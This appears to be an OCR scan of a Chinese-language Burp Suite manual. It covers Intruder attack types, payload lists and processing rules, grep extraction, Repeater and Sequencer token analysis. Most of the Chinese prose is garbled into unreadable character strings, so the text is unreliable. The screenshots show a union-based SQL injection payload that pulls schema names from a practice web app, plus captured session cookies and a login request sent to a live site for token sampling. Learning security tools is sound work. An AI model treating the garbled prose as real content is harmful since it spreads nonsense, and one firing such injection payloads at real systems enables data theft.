Cookis: PHPSESSID=S4fuSuttfgigl08S£Svont4dvndS; showhints=508

1-1-58

Pavload set: [1
1
2

Payload type:

1-1-59

FlamgEZA , 81 payload IRE—1FH , NFZ 1-1-1, 2-2-2 , 3-3-3 XFHZ
WENEN , F—MEREHESE —ENETTHY Payload set 1 &l Positions 1, FMEM

A — Payload set 2 | Positons 2 ;58 _MEKIGHEFE_ Payload set 1
63T / & 250 T AUEHE R e Mk )R, VIZI T ARE A &
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Positions 1 , M payload FHI5_/ Payload set 2 | Postions2 , ZE{EBREEMIITE
BEAREEXAMASHTHRES M | XFIEGEREEERANIER (41t , BREHH
— B, N TZAFPERHNE— I SHERNNIDS) . AREPEMIIERIIE
HRBHET IS/ NEREETENEE.

Cluster bomb(E5XE3#) - {EFIZ Payload sets, BXEMNEMH Positions ( &% 20
A ) REAER payload set, BISEBMEREFNREERMFORIRE | FEMEEASH
FrEHFIBH T,

BIIMEE = FHEE 10 7L, NSHSE 1000 [UTEAIER , 2E 1-1-60 :

Request 4 | Payloadi | Payload2 | Payload3 | =
100 0 1 2 21
11 1 1 2 2
102 2 1 2 21
103 3 1 2 21
104 4 1 2 21
105 5 1 2 21
106 6 1 2 2
107 7 1 2 21
108 8 1 2 21
108 9 1 2 21
110 10 1 2 21
<

J Request T Response }

J Raw T Params I Headers T Hex ]

SET
findex.php?page=user—info.phpeusername=%Z7+union+al l4+select+15Z2C5CHENAL ITAMES
cion schema.3CHEMATA+]limitc+0%ZCl4+——+&password=&suser—-info-php-submit-button=v

(2) (=) ) () [roe s seoe
1670f1210 [

1-1-60

RN , MRERNMEREFME  WIZHEERES — MEETM payload set 2
%l Positions 2, FIBEEBRAEMIFAE payload set 1 Y positions 1 ;AFEHSE
TAOEMERNEERE 2 BB 2 | HBIBESEAETSEANBRRE 12E1 . B

P— AP ERERRRIFT RIS R A AR E S MBS ERFEE A

6470 / & 250 U AUEHE B 22 Db 21580, VIZVH ARG %
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RIEIBRT (FRENELE , " 28AFE , ARERS— " S8E0 ) . ERE
A R AE RS E R A E X B RERRIAET RN BERIFRR - X8RS
KAY.

Payloads

Types

Burp Intruder LI/ attack type:

Simple list--f&j8a=rE

Runtime file--{z433/4

Custom iterator--EHE Wik 28

Character substitution--Z##&i

I RERB AR E N FRARIIR  HNASTHFAEHRIEI N NE, XA eREED
SNNEIFEER | kAT RPNRREINEN. BARAERTFREE T —L&F
ek, BHTEE  BREERETEESE—RENTIRT. XT8N e  erdt—
MNRYERE ARIERTE B CE BERRAFFRIRTEHET . B0  BOAZHRMNI H
hEiEe>3 B t>7), iZIE “peter” ErEEL THIERETT

peter

p3ter

pe’er

p37er

pet3r

p3t3r

pe73r

657 / & 250 U AUEHE R 2z e Db 21580, VIZIDH TARE R %
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p373r

Case modification--Ilt AR ARIFERE — N FRERIIR , FNARMER MESED
. XAEEERNUNEIFEER | AR EEFEFRIRERIER TRIZ. BT
LT RIES MMESEIN

No change - XN BT LARAEIERL.

To lower case- 7EZINBRIFFEFRIEIRNNE.

To upper case - EIZIMBNMEFEEIEAKXE.

To Propername - FEIZIMBHNSE—NFEEHRAAE | LINRBEHNFEERANS,
To ProperName - EIZIMBHSE— " FREIRAIKRE |, LIRBEHNFEHARBEL,
fn

Peter Wiener

peter wiener

PETER WIENER

Peter wiener

&I

Recursive grep--i#|3 grep

lllegal Unicode--3EjZAY Unicode

Character blocks--=/Ftk

Numbers--#=

Dates--H#A

Brute forcer--&73

Null payloads--ZSH9BER G E:

566 7 / & 250 U AUEHE R 22 Db 21580, VIZVH ARG %
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Character frobber--1%#& frobber

Bit flipper--{u&htt

Username generator--FIF &4 528

ECB block shuffler--BRiMgfTEE RS

Extension-generated--1 fB4ER%

Copy other payload--EHEHEHEXHEL

Processing

FEC BRI RS B A BRI R o] LAE R S E BRI R A B R A HmED
AJLAH—ZR,

1)Payload Processing Rules

EERERZRIFLIE XN BN E S U TS MRESS . 12 E AR NI
17 FEEILETFFIXA , LAESEEHSEEREAI@, B EmRICENEE BT
ZMERT | (FERERARSENEREE  EREE— B 2RSSt RERR

B EERERETAA , WE 1-1-61 :

@ Payload Processing

“ou can deﬂny}le& to perform varicus processing tasks on each payload before it is used.

M Enabled | Rule

Remove "= | Enter the details of the payload processing rule.
up LS:H:t.nr_hm
'Y

Select rule type
Add prefix
Add suffix

Matchireplace

Payload En

®

Substring
This sefting can Reverse substring
Modify case
[ URL-encod
Encode ¥

1-1-61

670/ B 250 i AXUHME R A ok S 21 Ag iR, VIZ0H T ARE &



o2z HHRM 240k | H5753

Add prefix - RII—NXFEIER

Add suffix - FII—NXFER

Match/replace - KEE#ITERFEIENRIAAIERETANEAIEBLL , B— N NFFRFEH

R

Substring - RERIBREEHIFRRD S , NEERIRBE ( 0-F5| ) IEAEEIKETT
A,

Reverse substring - X-FFRINIKS , RERRBEIEEIENEEIRERGIHEL , 7
BRENHIEERETHEL.

Modify case - IXMEN TRIBREATAIBR T , (IRERNE, EHFANETEARIER T
IEBERETTRE,

Encode - URL , HTML , Base64 {9 , ASCIl i3ak17SHHIF AR SMES - RERRE
AR | IZRISHIEEAT.

Hash - hash

Add raw payload - XZRIEf5  AZRIMNERMEEIN T RIaHRE(E. ERILARE RN

BN, ANRIFFERZERRIBEE T raw FIRHR.

Skip raw payload - SHEREHRIGIERNEAEEMNENRET , NRBXHEF | Bhid
BREATTIBHE T, XERERBHAN , A0 , INRE— M SHEYIRE— P RIMK
EFERI—FI% | EEXERAKERHTE.

Invoke Burp extension - JAF— Burp exxtension(¥/ @)sk4c B, ¥ REMAEE
MNEE B ELLIERR. TN E MRS RN R AR R iR
FRpISEE=N

EAMNAILITRE

68 T / & 250 U AHHE R 22 Wb 21580, VIZ0H ARG &
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2)Payload Encoding

{RET LB ERRLeE TP/ ROZE URL Z8i5089 HTTP igkFiZeEE. TS
BRI URL RISRENA  (HAIERERCEANRITZE. XEREFERILREHTHRE
URL 43 , MIAR— ARSI |, FARTLARBSRERETEH grep iGBRQEN A
AT RBEREATRIREZE URL RSB BZAT, ..

Optins

IEIR-REE7T request headers , request engine , attack results , grep match ,
grep_extrack , grep payloads 1 redirections, {RETLAREIKGEZRET , TEEE Intruder
A9 Ul LYRigIX LIS , ARRDIRE R ARG X B TRIBE O TIEXSL,

Request Headers

XL BRI Intruder( NMEE)REEFHEEFRL. BEE  BaLieEdiEk
SLiBId7E Payload positions(BERIENFENEICEER, XEERAILIRXEHRE
MEKRAYRLAIST , BEEEHER.

AT A

Update Content-length header(8&%fF Content-Length 3L) - IEI%IR{E Intruder( A E8)
WINEEFTAY Content-Length SAIEMEK SIZAFEIBRAY HTTP (AEHKEIEMRYE.
tEIhEEEE B TFZEN T RKENEREA RIENERN HTTP BRRIERNNEEXREE,
INSRAIEELEHRYE | N BIRS AR REIRE—MEIR | AIREARTTEMMIEK , BETIRE
FoBREBt SIS TR R S TR

Set Connection:close(IR&iER : X)) - HIEIE Intruder( NEE)iFIIEEFNERZELN
{879 "close(ki#)" . ERLER T ( BRSBHFBAFHARE—1ERHI Content-Length

8 Transfer-Encoding 3k ) |, IX/MEAI LA G E RIEHIT,

69 7 / & 250 U AHHE R 22 e ML 21580, VIZ0H ARG I
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Request Engine

REFFIFAT AWM HTTP iEKRFRT Intruder( N RE)BIERY Engine(51%), THUEIIAA !
Number of threads(HTHIZED - [T RIZIETEHIF A IBRERIBLE.

Number of retries on network failure(MZEHFERIEIVREY) - NRHINEZSREE
MIZZIEIRR , Burp ST RIEIRANERKISERIREL. WinbfESMEMEHIERER
8, SR REREHERERIZBER TR,

Pause before retry(EIXRIEE) - HEIXKWAYEK , Burp 2FEFHEERIATE ( L=
AEf) | AREARWLAT. WRERSHEE , BiC , siRsdERaReE | &FE
FRFRAGRIETE) , A,

Throttle between requests(iEXZIAIAYTIR) - Burp AILAERRIER ZBISFRF—NEERT
SER (LAZMARM) . WEIREA  LiEfEENAER  SERERR. 5E | &
ALIRE— M ESER ( SEEIWIRENEE ) . XA LIEE RIS RRER
PATHRIEERTRS R ERR.

Start time(FHARTIAE) - IWEIAITFER BRGNS , BfEiEEBEfE | BifnitT
HERS, NRBEREE | SERRIIE MR AR ER®HT | SiREXEER
AJRER B AR,

INOMERIX LRI AL SRIARIES |2 | XEUR TN AR eeRIsE |, HEE CSaNEE
BENFIE. NREERMZEEITEE  (ENAEFRRRFRE ChY CPU FIFERMR
%, TLUBINEAZEY | (ERAIIEHITEER. IRERMEHERRE  ZNAREREE
W% | BiEE CRYBIRIBIE 7 | (RNIZm D EA2E | BN &SR IEIN 2 BRIIE
PREIRAYREL,

Attack Results

FH 700 / & 250 T AEHE R 22 e Wb 21580, VIZ0H ARG I
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XL EIEHIRL S AR IR, THIAII A -

Store requests/responses(fZHEIFXK/MBN) - XEETREN GRS SRFER MEKHIG
NAIAE. REBERMMLN S AR |, ERHNIEE BRT | B LIS ERREER
BEEEXLY | INREVESESHRNEK , FHEERIERHES Burp TH,

Make unmodified baseline request(RIZEHIERITK) - WNRIERILIRIN , BRARRTEC
BERBEEIEK , Burp SRHERIEKIRENERE , EEREENNE. EKGEER
RETHAME# 0 . FEREIRER | #H— AR Em AR,

Use denial-of-service mode(fEFE4AIRZHIMRT) - ANSRIEFULIERD BPARE LK LB
X, WEE  ERASEFHENRSHREEIHIES. RERHNEMNER , TCP &S
WK, XANIIRER LA SR TIEE RS AN FEEX eSS I RPN B ESE R
EizEE R ESNRSGSEL R ERRE SN NEEFSRHFIRS MM EIE 7 A
BRAEK.

Store full payloads(fRIFEEAIVERNET) - UNSRIEFILIEIN , Burp S (E2EPAETT
BRVER, ERE S BIMINT | (BSIFREEEI TR TR LRI | 2027 payload
grep setting(BAE(EIRE) , HEFARHIBERSERERIERTERE.

Grep-Match

RETATE AN HEENRATIFSERIINE . TR EFIFRFIE/ A Burp
RN MESAEISE | IBHINBRERAMES MINAIHRRS. AE  EaLE
EHEFILES (BILREFIRRR ) FLECHIZSSRAANN.

EFILIEINET AR IFEEARY | SO T AERMS: , FAREHEBAIIRE. fan, £0
SENE , FFUEGIE |, W “password incorrect(ZRIAIEHE)" 8 “login successful (&

FRETN)" |, SJLREIRTHE S NS SQLENRR |, 33ma%F " ODBC " |, "error(f&

FHT71 0/ & 250 70 AUEHE R 22 e Wb 2 21580, DIZ0H ARG &
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i®)" SHEILIRBIZZRERISEL,

bR T RIANLECHIZIZR , THNAIRA :

Match(ItECERY) - IEEMNRIANEE EERAIFRFEEL regular expressions,

Case sensitive match(XRp A/NERIILE) - IEEMEREAXEENEDANE,

Exclude HTTP headers(~&4#& HTTP k) - 58 HTTP IMAL R B MARHIR IS,
Grep-Extrack

BJLA#R 3K Extrack((RE) MR ME BIYERHANREERNR. W TFEREFIFRFIENIR
B, Burp i II— M2 SRENZINB RIS ARIFARS. 25 | SRILEFILS) (1Bd 8

TR ) anSFrIRENAYEIRE. BIanTEACE 1-1-62

</dive<span style="font-wveight:hold; ">Username=</3pan><3pan
Beflected®5SExecutionfoint=" ">in:funnatiun_schma<fspa11:><]3r;’><spa11 style="font-weight:hold; ">Password:

1-1-62

information_schema 1X/"3k, MIAJLUXHE #REHZE LA HE—RIBRF el LAERIER
AIRRIFEBIEN, AT XEARRT LI EALEFNE , ST LANXERE , WNE

1-1-63 :

E Define extract grep item

> Define the location of the item to be extracted. Selecting the item in the response panel will create a suitable configuration automaticaly. You can
- also modify the configuration manualty to ensure it works effectivehy.

[ Define start and end [] Extract from regex group

= Start after expression: |in ReflectedXSSExecutionPoint="1">

() Start at offset: Case sensitive

@& End at delimiter: style="font-weight bold;"=Password

( End at fixed length:

[] Exclude HTTP headers [#] Update config based on selection below Refetch response

</ form:> -
-

=diwv class="report—header ">
Results for &guot:<span
PeflectedXSSExecutionPoint="1" style="color:#770000;">' union all select
1,SCHEMA WAME,3,4,5 from information schema.SCHEMATA limit 0,1 —— </sSpan>&guot ;.1
records Ffound.
</fdives<span
style="font—weight :bold; ">Username=</span><span
RPeflectedXSSExecutionPoint="1">infermation schema</span»<br/><span
style="font-—weight:hold: ">Password=</sSpan><span
FeflectedlSSExecutionFPoint="1">3</span><br/><span
style="font—weight :bold; ">Signature—</span><span
RPeflectedXSSExecutionPoint="1">4</span><br/><br/>
<!—— End Content -->
</blockgquotel
</td>
</tr> I=

B 1-1-63

FT7250 / KB 250 01 AXHME R e Yol 258w, VIZI FEAREH S .
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Grep-Payloads

RETRATRBERAIEREEHIRIIRSHERI. WREAIZIE , Burp 20—
MEERE , BrSRRBIERERAKINET MINAFARS. (WNRER—
MALRYERES |, BRAISE N EREEEN. )

I IHRERT LAFEAS I BBl R B AFIE A XS ENIRE A IALER PR SSHEEN IR
FRREFFRINBALZE FRY.

AT A

Case sensitive match(X K/NERIIVED) - FEREE payload((RFE)REN XD ANS,
Exclude HTTP headers(A~&#& HTTP 3k) - iXfEERY HTTP BN SL R B NARHRERE.,
Match against pre-URL-encoded payloads(X$7 URL fREBAVEREAILE) - IXRIEE
RYECE Inturder(NRE)IEKH URL JRISRIBERNETE . PAM IXLLE R SN FAEFFD |
EEAEAIRRIGR . SR LAGERRILLIZEDR , LARBTFEREA Burp B R MR IR
waRzzl.

Redirections

=) Burp R TIRGERN AN IMEEER, B IR EEREEFRTIFNKEER. §
o, EASENNRE 8 REHAVERATEREEY TENEER 2. EHEIIRAY
BHE , AAXAIRIRAEER HIAERAIRIEE RN /SR EIRIERER.

THEIRATA : Follow redirections(BRFEEER) - EHIEEEEBERRIBIR. TFIEIR
Gl

1)Never(\KigB) - NEEFZEREAEER.

2)On-site onlyGUZME—RY) - NEERSIREEEDEIE—MWI "Mug” |, BMERE

RIRIEA , InOAOMY AR IERIRIERAERAY URL .

FH T30/ & 250 U AEHE R 22 e Wb 21580, VIZ0H ARG &
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3)In-scope only(AESEERAIKE—) - Intruder REIREEERAZZEMSEENBEIREE
ZMWAJURL ,

4)Always(H2) - Intruder SEEEERENEER URL . SN EEFRLGEIAIAIZE - 3
/R, Web NBEEFERHEEBZIFE =TSRSS FRBREERIRETEESA/IVOBGE,
Process cookies in redirections(iI3¥254fY Cookie EExEM]) - WNSRIERINIELN , ARTEE
EMMAIRE T cookies B HEER BIin [FEHIRE. Al , NRIREE=IREN
IARERATPL AT RER L ERY , ERBRE— M EERE— M NHETERER  F1—
MRS N EREHEE.

Burp RUIRIAE] 10 #¢EEM , NRVER, EEREFHPIBEREEREEEXAEN
BMAER | LIRSS KImN FHNEEERFESENMERNNE., BRI
Burp 2402 ( 3xx BOPRREHD , RlFk | & ) BREE—ELEEERIT,

TEEER . ARLERT  JRFEE NANEEOR RER— T REENRE. HIX
MBS , NRERFFERIERIWIRIEKAIESR | FHRHEERMNATERIL,

B TEERBRERERIEMRERE - fla0 , MNRNAREFRIIN— N EERREHRER—
LEESHIBK |, A THHNEEDJREESEENRIERELLN , BREARRIXAM,
Attacks

SRR ETIRNBERERN (FFZ launch the attacks(RHIEKTE) analyze the results(9>
WER) , BRHESINEEE | SEAONR TIERENEE | S TR,

Launching an Attack

G RIS NS =1

NIEEILAECE Target(Bm) , Positions(fi&) , Payloads(Bx&Ekf) 1 Options(iEI-R)AY

WHIRE | ARIEEM Intruder(NEF)KE "Start attack(FFAIE)"

FH T4/ & 250 U AUEHE R 22 e Wb 2 21580, DIZ0H ARG &
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2)ERTLLUBIE M Intruder menu(NBEKER)FiEEE “previously saved attack(FTFHRF
MNIE)" FIFLARIRFRYIRE.

ERIRNENPERERT T, ZEOERNEAENIERRIER | EEREBIESIEE
B , ASEROR TIEmEEsE | st TEARE,

Result Tab

SRR R E IERE R HAIE MERNEEAT  ARTLASEFR SRR B o
B, FHERERKEERIUE TR,

1)Results Table

Results Table B/REFE attack FEFERIERFIBARIFMER. RIEFAENNERE | &
ARER B LTI, Hep—EE2R0AREAY , STLAGER Columns 3288 FREGHRSE , 4NE]

1-1-64~E[1-1-65 :

Attack Save Em .

Resuts | T{ v Request
v Payload
Fitter: Showin| . Status

1=

Time of day

Beguesl_a, | Re=sponse received

Rezponse completed
+ Error
v Timeout
v Length

Cookies

= R -

v Comment

1-1-64

_[ Results T Target T Positions T Payloads T Options ]

‘ Fitter: Showing all items

Request Al Position | Payload | Status | Error | Timeout | Length | Comment
0 200 ]

; i O
z 1 2 200 O
3 1 3 200 O

43203 baseline request
43203
43203
48203

oooo

B 1-1-65

FT500 / K 250 01 AXHHME R e Yol 258, VIZIE FEAREH S .
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request {&E3KEL Position BYEAIBRS Payload B38&E{ w Status http A7 Error
BEKEEIR Timeout #BATF Length F15%8 Comment ;5

2)Display Filter

ZREINR , TLARAREERELEASAIEG | LIEEEZ ToO A RRABN TFRE
ETRTBEERER. RETIERR A RMIERILIEERRE, wdiEss LETLUTNEMSE

PHTECE , 40 1-1-66 :

Attack Save Columns

_[ Reszufts T Target T Positions T Pavloads T Cptions ]

Fitter. Showing all tems

> Fitter by search term Fitter by status code Fitter by annotation
[#] 2wt [success]
[ 3w [redirection] ] Show only commented items
L] Regex [] 4ot [reguest error] ] Show only highlighted items

[ ] Caze sensitive [ ] Megative search @] Sxx [zerver error]

l Show all J l Hide all J

1-1-66

Search term({@Zid) - [BWARIEATLIFIERNEEAEEEANERE. EILIRER
FRARBR— M NFFHREHENREIR  UREERSKNEG, MNREIEET "negative
search(HIRIER)" £ , AEATRANERAE—IINBEK TR,

Status code(IRF&RT) - B LI ERAE TSRS HTTP RSB MmAL,
Annotation(Z#) - SRILIRER BB NERAFRHINTIEERERIE. HERERT
BHNELG LR —MIEZIEMEIEE | H BT iResEtt A28 aEZNE. MR
RE—MNIIERS , S —LINE | XSRS Rk  IRRBUEIREREX
AT IERR SR I, XEREER LAk B SR AR — M ARISERE ( f
a0, WERETH B SIFSSHAVERK ) SRIEFSMARAE IR HIL,

Attack configuration Tabs
H 76 00 / = 250 U AUHE Bz Mol 21 58im, VIZIH T HRERIE .
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EERER Y , KEEOE88 NN EBRNKERET EREIEEIRI-FHrI5E.
XEEREBEEIESINEERE  RIHBUEARTH, BXRE—HFE  FERsiER
I-RAYEEED : BFRERARETEIR S — M IRIECE | AN LRESEXKE (W&
FEHIRIRLE Dy REARIBE ( AIRESEAIARETRE ) (OGN , AEKEGEERF R
EAEENZ. MERRERNFEEHOWEIEEETH |, TeEaEE R EIRIRER.

Ign | SNERISERIIRMENEREEIRIEFRT  ARBERT2EN  BAS M EEIR
TAIRREAMHRESFFERT | BPAKERIRERRA T . ANEFRIIESS—R
INEE. B EREINEE RN N & TR E.

Result Menus

ZRNEB SN KBRS SEHIRIBGE | FrTEMERE. XESE RS |, 20E

1-1-67~E[1-1-68 :

< = Columns

Rezults table

3 Server responses

Attack configuration

1-1-67
= Allrows [ save header row

) Selected rows Delimiter: () Tab & Custom:

Include columns:

[ Reguest [ Position l Select all J
¥ Payload [ Status
[] Time of day [] Response received l Select none J
[[] Response completed ] Error
[#] Timeout [ Length l Save J
[C] Cookies [ Comment

l Cancel J

1-1-68

BT/ KB 250 01 AXHHME R e Yol 258, VIZI FEAREH S .
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1)Attack Menu(IZEHEEER)

BEMS pause(F{E) , resume(4kLE)EL repeat(JES) KNS,

2) Save Menu(fR73RER)

attack - XZRAFRAFIRKEAEIR , BFEER. REAISERILUMERMNE Burp A UI

Intruder 3REAPRY “FIFHRIEFHIBGE" IRIRERTINEL.

Results table - XRRTREREFREA—INAG. (RALUSEREFIATETT |, 8ilY
EEANT. BWAILIEEERENS , JI0MRMA. IWIIRERERISHEREIBFRIEH
LMEH—E 0T, SiETRERAS (WNERREAY grep REGSIEEEE ) LABIFRTHE

[ERIEEEE TEAYRA S

Server responses - XA RAKEIRIFMEIE RIS E., XLBEEATLAIRTFESRIHR
RIS (IFRS ) SR TRERAIFY LR — R —RIS .

Attack configuration - XZFRFEFARIEERITIENES (MARER ). BRILIE
FERAME Burp B9 Ul Intruder 3By “"IIEECEING" 15 , MECE.

3)Columns Menu(FI3ZE)

XERETLAUGRIRLLE] RS 28] WAYINE SRR,

(&R ) RIS - 57

%275 Burp Suite FANE ()

EE  INRXK
e = =P
pglk : http://www.wooyun.org/

Repeater

FH T8I / & 250 T AAHE R 22 Wb 7 21580, VIZ0H ARG &
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Burp Repeater(44e8)@FTFaER NN HTTP 383K , F o AR FRIImA—
MIBEMNTE, EILURE—NRERERM Burp {Hith/52l Repeater(h4kes) |, (EXIERK
FERXE.

Using Burp Repeater

TR LGRS UEE AT ER | S HERMEMASEMIER | R HLUSERIR

FFEEsk , LANGBERRRE | HRILAZIRERM Burp Scanning results(3&R) NEKRF
SR S RYIEIRE,

For example , 20& 1-2-1 :

[Target Proxy | Spider I Scanner T Intruder ]’ Repeater T Sequencer T Decoder T Comparer T Extender T Options | Alerts | autoEdit T Payload Parzser T NMAP Parzer | Motes
1 = [2 = | § =

Go Cance: < | > Follow redirection

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

GET / HTTE/1.1 'y HTTE/1l.1 200 OE

Accept: text/html, application/xhtml+wxml, */* P Date: Thu, 0l May 2014 1£:21:45 GMT

Accept-Language: zh-CN Content-Type: text/html; charset=utf-8

User—-Agent: Mozilla/5.0 (Windows NT £.3; WOW&E4: Connection: Keep-Aliwve

Trident/7.0; MALNJS; rv:11.0) like Gecko Vary: Accept-Encoding

Accept-Encoding: gzip, deflate Cache-Control: private

Host: www.baidu.com Expires: Thu, 0l May Z014 l£:20:50 GHNT

DNT: 1 H-Powesred-By: HPHP

Proxy-Connection: Keep-Alive Server: BWS/L.1

Cookie: BEDPAGETYPE: 1L

BATDUID=3ES3Z523 IFC35ESBT4CETFLSFACOOBET :FG=1; BDQID: Oxe7c42505004c06ld

H_PS_PSSID=1457 5223_E023_4760_6018_E258_6270; EDUSERID: O

H P5_TIPCOUNT=sditdata Set-Cookie: BDSVRTM=0; path=/

Set-Cookie: H PS PSSID=1457 5223 £023 4780 6018 EI5B EZ70;

K 121

1)5JLAM Proxy history. site map. Scanner result BN BbHFIEAIXE repeater ,
LS TREEIRH TIEL.

)i go , KIXIEK , AIABRIER,

3yFLAEE "< 1" > "SRE ERFITF—MEE,

ABE" x "AJLAMBRERIAIIEKRITE | .. R FRIRER
5)EERRITIRERTERAM | JLIRBIENRAR | KEPAILERICEERE

Issuing Requests

FhRAPRETLSEZS N A ENEKERIE  §—MEreBCiiRE. SRKE

FT7900 /B 250 B AXBHE R A Pk 2 258, VIZIH T ARE &
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i5KEIPdtes | F—HERER CRRSIRET T,

BMANFEHE S TIA ¢

EHIAHIEK  AENEERNAE. BirRSS[IBEREHEAEETR - (FAILIREER

TR L,

HTTP JEE R SRIRESIS A LINER, BRILIREZIEK BN —REHTANE.

HTTP iHR¥RERT , BN DRARHANERIZNEIRINE AL,

FraShikss TIFRIRERRDARIEREEES— burp TR (40 Proxy history 8 site

map ) TYFRYEESK , FELTIGEREPER "Send to Repeater(AIXEIHEA=R)" 1IN, X
BEPHaRtE— M EINERERF A EsET B AT IEKE R RERR AR5,
Ria | EALUESF A LRTBRIER, JFRERERFAE  /di "9o(ER)" &, 5
HEXZIIRSS =R, SiX RIS | SIBAREM—MTHSRS ( LAZRABN ) — R SR
RUMBRL, EATLAEREERY HTTP EERISRIEINEE | LA TMERIBALGES | AR
—ERY T,

Request History

B PRGN RYEPFEBE S EACRIEKRIAE. BRblmE “ <" M7 > " ZHEkE

RIMRESXERHESE , AEESMERIBAL SR LAER FhHZHE b AR

RmSHIFR  FRRUEEERS LA, FEHSE ERMEERHE | (RETLARIEFIER T A SRR

5K,

Repeater Options

Burp Repeater ERI=HIE{TARNSIMIAI , BIEEEHRY Content- Length LAY , 1

BREERS  MEERTE. RATLUET Repeater(Fh4kas) s BIIEIX LARIN,

Managing Request Tabs

80 7 / & 250 U AHHE R 22 Wb 21580, VIZ0H ARG &
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BRILAR NI ETE Repeater RY request(iEK)IEIR, &AJLA
B REZIEI R LB AR E IR,

BT HENEFTHE RS,

BERERAMRY “.." BRI T — N RIRE,
RIAEI-R B FZIEI R PR X 12,

Options

EubsEREHIRY burpRepeater RIT975E. THHEITAIA , 20E 1-2-2

r BEEEGE Window Help

+ Update Content-Length

=]

+ Unpack gzip / deflate —
| Follow redirections |
| Process cookies in redirections B

View [
Action [
K 1-2-2

Update Content-length

ks Burp 8B EMEFAIERELER Content-Length 3k, ERXMNATUERZ
PARIDH , BEKEEREE—BIE,

Unpack gzip/deflate

ikl Burp 25 BEsEEREEREIRIEER gzip 1 deflate EERA.

Follow redirections

iR EEHESEEMBNSWENAIT. TR AA

T)Never - SRR ASIRMEHAERER.

2)On-site only - Frg¢=Ri RERMEEERZIE— A “site” , BERERNEN , w0
MIYAS R RIRIERERRY URL,

3)In-scope Only - zE RIRMEEEAZIZEMATENBIREE AR URL,
81171 / & 250 T AUHE R 2 N E =280, VIZIH FAEERE
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4)Always - 4G IR E MZMER URL(HAISRE. BN {ER TR AIEER - 85,
Web NABREFENHEERRIFE=TTRIEKSH , FHEREERFRIREEAINOIERA
BN,

Process cookies in redirections

INSRIGFRILIEIN , AFEEEERMMIREHT cookies i HEER BIr [FEFHTIRR,
View

HFRBRIFEEE 75K/ N ERE, SR LAEIRER/ AR , =/ARFT , Bk
RHEE HTTP HE,

Action

I FRPEEEREANER , AIEESIERMIALERRIERAY L TG,

Sequencer

Burp Sequencer 2—MAT ORI —MFEARPAFETIEREN TR, (RILIRE®
WA FIFERFRY session tokens(=1F tokens) B E B EAUEINIATREAITTNAT | tE
9Nfz5% CSRFtokens , ZHEBEE tokens &,

Using Burp Sequencer

Burp Sequencer E—FrRTHHENBREFNRIE tokens , FEHSEZATTRUAIE
EEHIETHIREN M RER TR,

{£F Sequencer AJRERSEER LN ATEEARIIR. BERHRTEZEBRITIEERIR
& , {RMIZR{EF Burp Sequencer XIFEFTRE,

BIAXRTHE Burp Sequencer , BUTLATHE :

1)&5% , #iR Burp EXEFIEIT . BEEEEAYNIEES Burp NI(E , HAEEEENIER

B Bt R SRR S RAIAEEIR S 23RO .

827 / & 250 U AHHE R 22 Wb 7 21580, VIZIH ARG &
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2)KIARHETE tokens BEMSHLIRIINE | TTIER7E Set-Cookie 3k , FE— R , B

Hethith 7SRO ER—MEIN, £/ LT ICERBFAERINEE] Sequencer,

3)4E%! Sequencer IR , AEEIEE “live captureIUZEAIENK)" | EF(RNIZA &I1X

MIRE |, & 1-2-3~E 1-2-5 :

Target | Proxoy T Spider I Scanner ]' Intruder I Repeater I Seguencer I Decoder

Intercept | History T Options ]

Fitter: Showing all itemz

_Eljﬁ

httnithm baidu cnm

# 4| Host Method | URL
TUTT T T e O 0T T TS T L TZ TODOC T OO0 Ta T Jodedrs
5020 hitpuirs.zinajs.cn http:/fwww _wooyun. orgfuser php?action=login
9021 hitp=s:/iurs. microsoft.com Add to scope
5022  hitphm.baidu. com = n
er from here

5023  hitp:hm.baidu. com Dp i

0 an active scan
9024  http/hm.baidu.com ]
9025  hitpohwerw e woowun.org Lo ST ]
9026  hitpinsclick baidu com Seas
5027  hitpsJt.urs.microsoft.com Send to Repeater
9028  hitpfwww.wooyun.org send to Sequencer
5029  hitpoiinsclick. baidu.com Send to Comparer (request)

Send to Comparer (response)

Show response in browser

K 1-2-3

{ Target T Proxy T Spider T Scanner T Intruder I Repeater T Sequencer T Decoder I Comparer T Extender T Options

J Live capture T Manual load T Analysis options }

EJ Select Live Capture Request

Send requests here from other tools to configure a live capture. Select the request to use, configure the other options |

=y

# 1| Host

| Request

Clear

3 | hitp:iwww wooyun.org

| POST /uger.php?action=login&do=login HTTPA ...

-

&

Start live capture

830 / & 250 I

K 1-2-4

PG R 2l 21580, VIZIFARER .
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EJ Token Location Within Response

Select the location in the rezsponse where the token appears.

= Cookie: lwy_pwd=f8cf‘(ﬂ-ln‘rTGar++uaBMN ‘I’J

() Custom location: Configure |

K 1-2-5

4)7x "Token Location Within Response(tokens B [EIN)" &5 , EEAE tokens H
AR A E, INRFMSHIMERENX M E ( BIAEE— Set-Cookie skayzReat ) |
SREI%EE “Custon location(BEXE)" 1IN , AREXNEIES , HERIIL tokens , 24

[FeE "HERE" , WIE 1-2-6

E Burp Sequencer [live capture #3: http://www.wooyun.org] = =

QJ Live capture (0 tokens)

l Pausze J l Copy tokens J [] Auto analyze (next: 100) Requests: 28480

l Stop J l Save tokens J Analyze no Errors: 0

Summary  Character-level analysis ~ Bit-level analysis ~ Analysis Options

K 1-2-6

5)7F “Select live Captrue Request(EERIUZIHIRIER)" 2o , BaE “Start live
capture(FFURsERTEER)" #&HH, XIGSE Burp REAHFIAIEK , 7 extract((REVETE
TENIRITEIRY tokens, SCRTHERSIEF I F— BN S/RERIOBE HEIREH tokens
8. HJUH tokens BIKE , HELAIHRSIE , SA/F8E "Analyze now(RZREIHH)”
&4,

O)ANTTRE , SENHRETENIRIER. XRPHERPENEE | FNEFENER
AEFMEEHT T, BERIGY  ERECESNMUR. ARLERT | 78

3X15 tokens BI—MNEIERIREA, BRILAF AR 79 Sequnecer FHUTHERISHT.

BHEX—R , EE burp B9 Ul |, BEIFEIF |, AIEFNINEFIRI R, ERTLANBING

84 71 / & 250 U ANEHE R 22 Db 21580, VIZVH ARG %
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WAEREFRIC | BGMASEINECES] , FHER “"Analyze now(SZRPHHT)" #&EH , Frias=sis
RAIHT.

Randomness Tests

Burp Sequencer RERESIHIHAIBETME ., XEERETXHURNANEHEAFRIRIR , F
THEAERNEIRIHRE | RiizRREESTRIREN

Character-Level Analysis

FRARUAERFIA L tokens I NFRHERTIRME. &%, FHREESMUERT
KNHATIHEL- XREIES MIE ERVEEEIRFRIARRIFARVEE. A5 | TEA
I EERLEEREHT

Character count analysis - It ETSHT tokens RIERESMNETNFHFOE. NRE
REREHAERRY | RS HmERERIT ISR, A8 MEL  1ZURHE | IR
